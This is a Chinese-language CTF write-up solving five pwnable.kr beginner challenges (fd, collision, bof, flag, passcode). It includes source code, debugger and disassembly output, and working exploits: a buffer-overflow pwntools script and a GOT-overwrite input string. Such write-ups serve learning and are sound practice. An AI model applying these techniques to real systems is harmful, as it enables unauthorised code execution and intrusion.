Pwnable.kr Toddler's Bottle 练习记录。
fd 查看程序源码,需要使 buf 为 "LETMEWIN" 字符串才可以得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #include <stdio.h> #include <stdlib.h> #include <string.h> char buf[32 ];int main (int argc, char * argv[], char * envp[]) { if (argc<2 ){ printf ("pass argv[1] a number\n" ); return 0 ; } int fd = atoi( argv[1 ] ) - 0x1234 ; int len = 0 ; len = read(fd, buf, 32 ); if (!strcmp ("LETMEWIN\n" , buf)){ printf ("good job :)\n" ); system("/bin/cat flag" ); exit (0 ); } printf ("learn about Linux file IO\n" ); return 0 ; }
在 Linux 系统中,文件描述符使用 int 类型进行表示,其中有三个系统默认值。
0:stdin,标准输入流
1:stdout,标准输出流
2:stderr,标准错误流
当程序中 fd 的值为 0 时,表示 read() 函数将从 stdin 流中读取 32 字节数据到 buf 数组中,此时可以控制 buf 为 "LETMEWIN" 字符串,得到 flag 信息。
1 2 3 4 fd@pwnable:~$ ./fd 4660 LETMEWIN good job :) mommy! I think I know what a file descriptor is!!
collision 查看程序源码,当输入的字符相加为 0x21DD09EC 时,得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #include <stdio.h> #include <string.h> unsigned long hashcode = 0x21DD09EC ;unsigned long check_password (const char * p) { int * ip = (int *)p; int i; int res=0 ; for (i=0 ; i<5 ; i++){ res += ip[i]; } return res; } int main (int argc, char * argv[]) { if (argc<2 ){ printf ("usage : %s [passcode]\n" , argv[0 ]); return 0 ; } if (strlen (argv[1 ]) != 20 ){ printf ("passcode length should be 20 bytes\n" ); return 0 ; } if (hashcode == check_password( argv[1 ] )){ system("/bin/cat flag" ); return 0 ; } else printf ("wrong passcode.\n" ); return 0 ; }
由 0x21DD09EC 为 568134124 可知,当 0x21DD09EC + 0x1 = 0x21DD09ED 时,能够被 5 除尽,所以可以得到 0x6C5CEC9、0x6C5CEC9、0x6C5CEC9、0x6C5CEC9 和 0x6C5CEC8 等 5 个用于相加的数值。
构造用于输入的字符串,读取 flag 信息。
1 2 col@pwnable:~$ ./col `python -c 'print "\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC9\xCE\xC5\x06\xC8\xCE\xC5\x06"'` daddy! I just managed to create a hash collision :)
bof 查看程序源码,当 key 为 0xcafebabe 时,得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #include <stdio.h> #include <string.h> #include <stdlib.h> void func (int key) { char overflowme[32 ]; printf ("overflow me : " ); gets(overflowme); if (key == 0xcafebabe ){ system("/bin/sh" ); } else { printf ("Nah..\n" ); } } int main (int argc, char * argv[]) { func(0xdeadbeef ); return 0 ; }
通过 gets() 函数获取输入时,并不会对输入数据的长度进行检查,因此输入长度超过 32 字节便会溢出 overflowme 数组的内存空间。
查看 func 函数的栈布局。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 -0000002C overflowme db 32 dup(?) -0000000C var_C dd ? -00000008 db ? ; undefined -00000007 db ? ; undefined -00000006 db ? ; undefined -00000005 db ? ; undefined -00000004 db ? ; undefined -00000003 db ? ; undefined -00000002 db ? ; undefined -00000001 db ? ; undefined +00000000 s db 4 dup(?) +00000004 r db 4 dup(?) +00000008 key dd ? +0000000C +0000000C ; end of stack variables
其中 overflowme 距离 key 偏移为 0x34 字节,当填充 56 字节的数据时,便可以覆盖 key 的值。
编写利用脚本。
1 2 3 4 5 6 7 8 9 10 from pwn import *payload = b'A' * 0x34 payload += b'\xbe\xba\xfe\xca' target = remote('pwnable.kr' , 9000 ) target.sendline(payload) target.interactive()
运行脚本,得到 flag 信息。
flag 下载程序,检测到文件经过 UPX 压缩。
使用 UPX 进行解压处理。
1 2 3 4 5 6 7 8 9 10 > upx.exe -d ..\flag Ultimate Packer for eXecutables Copyright (C) 1996 - 2023 UPX 4.0.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 30th 2023 File size Ratio Format Name -------------------- ------ ----------- ----------- 887219 <- 335288 37.79% linux/amd64 flag Unpacked 1 file.
再次检测文件,确定文件已经解压。
使用 IDA 进行代码分析,查看 main() 函数。
1 2 3 4 5 6 7 8 9 int __cdecl main (int argc, const char **argv, const char **envp) { char *dest; puts ("I will malloc() and strcpy the flag there. take it." , argv, envp); dest = (char *)malloc (100LL ); strcpy (dest, flag); return 0 ; }
查看硬编码的 flag 信息。
1 2 3 4 5 6 7 .data:00000000006C2070 28 66 49 00 00 00 00 00 flag dq offset aUpxSoundsLikeA .data:00000000006C2070 ; DATA XREF: main+20↑r .... .rodata:0000000000496628 55 50 58 2E 2E 2E 3F 20 73 6F+aUpxSoundsLikeA db 'UPX...? sounds like a delivery service :)',0 .rodata:0000000000496628 75 6E 64 73 20 6C 69 6B 65 20+ ; DATA XREF: .data:flag↓o
passcode 查看程序源码,当 passcode1 为 338150 和 passcode2 为 13371337 时得到 flag 信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 #include <stdio.h> #include <stdlib.h> void login () { int passcode1; int passcode2; printf ("enter passcode1 : " ); scanf ("%d" , passcode1); fflush(stdin ); printf ("enter passcode2 : " ); scanf ("%d" , passcode2); printf ("checking...\n" ); if (passcode1==338150 && passcode2==13371337 ){ printf ("Login OK!\n" ); system("/bin/cat flag" ); } else { printf ("Login Failed!\n" ); exit (0 ); } } void welcome () { char name[100 ]; printf ("enter you name : " ); scanf ("%100s" , name); printf ("Welcome %s!\n" , name); } int main () { printf ("Toddler's Secure Login System 1.0 beta.\n" ); welcome(); login(); printf ("Now I can safely trust you that you have credential :)\n" ); return 0 ; }
在 login() 函数中,可以看到 passcode1 和 passcode2 通过 scanf() 函数接收输入时,缺少 & 符号,这将导致实际存储数据的内存地址由两个变量的数值决定。
经过调试分析发现 welcome() 函数中 name 数组的最后 4 个字节,恰好与 passcode1 重叠,因此可以通过 name 数组来控制 passcode1 的值,从而实现任意地址写入。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 // edx = 0xffffd0e8 -> name array address *EDX 0xffffd0e8 —▸ 0xf7e2ada0 (_IO_2_1_stdout_) ◂— 0xfbad2a84 0x804862a <welcome+33> mov eax, 0x80487dd 0x804862f <welcome+38> lea edx, [ebp - 0x70] ► 0x8048632 <welcome+41> mov dword ptr [esp + 4], edx 0x8048636 <welcome+45> mov dword ptr [esp], eax 0x8048639 <welcome+48> call __isoc99_scanf@plt <__isoc99_scanf@plt> // ebp - 0x10 = 0xffffd148 -> passcode1 address EBP 0xffffd158 —▸ 0xffffd178 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0 0x8048577 <login+19> mov eax, 0x8048783 0x804857c <login+24> mov edx, dword ptr [ebp - 0x10] ► 0x804857f <login+27> mov dword ptr [esp + 4], edx 0x8048583 <login+31> mov dword ptr [esp], eax 0x8048586 <login+34> call __isoc99_scanf@plt <__isoc99_scanf@plt> // ebp - 0xc = 0xffffd14c -> passcode2 address EBP 0xffffd158 —▸ 0xffffd178 —▸ 0xf7ffd020 (_rtld_global) —▸ 0xf7ffda40 ◂— 0x0 0x80485a5 <login+65> mov eax, 0x8048783 0x80485aa <login+70> mov edx, dword ptr [ebp - 0xc] ► 0x80485ad <login+73> mov dword ptr [esp + 4], edx 0x80485b1 <login+77> mov dword ptr [esp], eax 0x80485b4 <login+80> call __isoc99_scanf@plt <__isoc99_scanf@plt>
借助任意地址写入功能,可以通过改写 GOT 表中的函数地址来跳转到任意地址进行执行,从而绕过校验代码,得到 flag 信息。
查看 .got.plt 中的函数列表。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 passcode@pwnable:~$ readelf -r passcode Relocation section '.rel.dyn' at offset 0x388 contains 2 entries: Offset Info Type Sym.Value Sym. Name 08049ff0 00000606 R_386_GLOB_DAT 00000000 __gmon_start__ 0804a02c 00000b05 R_386_COPY 0804a02c stdin@GLIBC_2.0 Relocation section '.rel.plt' at offset 0x398 contains 9 entries: Offset Info Type Sym.Value Sym. Name 0804a000 00000107 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0 0804a004 00000207 R_386_JUMP_SLOT 00000000 fflush@GLIBC_2.0 0804a008 00000307 R_386_JUMP_SLOT 00000000 __stack_chk_fail@GLIBC_2.4 0804a00c 00000407 R_386_JUMP_SLOT 00000000 puts@GLIBC_2.0 0804a010 00000507 R_386_JUMP_SLOT 00000000 system@GLIBC_2.0 0804a014 00000607 R_386_JUMP_SLOT 00000000 __gmon_start__ 0804a018 00000707 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0 0804a01c 00000807 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0 0804a020 00000907 R_386_JUMP_SLOT 00000000 __isoc99_scanf@GLIBC_2.7
由于 fflush() 函数会刷新输入缓冲区,所以选择覆盖 GOT 表中 fflush() 函数的地址。
通过 fflush() 函数直接跳转到校验成功分支。
1 2 3 4 5 6 7 .text:080485D5 jnz short loc_80485F1 .text:080485D7 mov dword ptr [esp], offset aLoginOk ; "Login OK!" .text:080485DE call _puts .text:080485E3 mov dword ptr [esp], offset command ; "/bin/cat flag" .text:080485EA call _system .text:080485EF leave .text:080485F0 retn
借助 Python 向程序传参,得到 flag 信息。
1 2 3 4 5 passcode@pwnable:~$ python -c 'print "a" * 96 + "\x04\xa0\x04\x08" + "134514147"' | ./passcode Toddler's Secure Login System 1.0 beta. enter you name : Welcome aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! Sorry mom.. I got confused about scanf usage :( enter passcode1 : Now I can safely trust you that you have credential :)
参考链接 pwnable.kr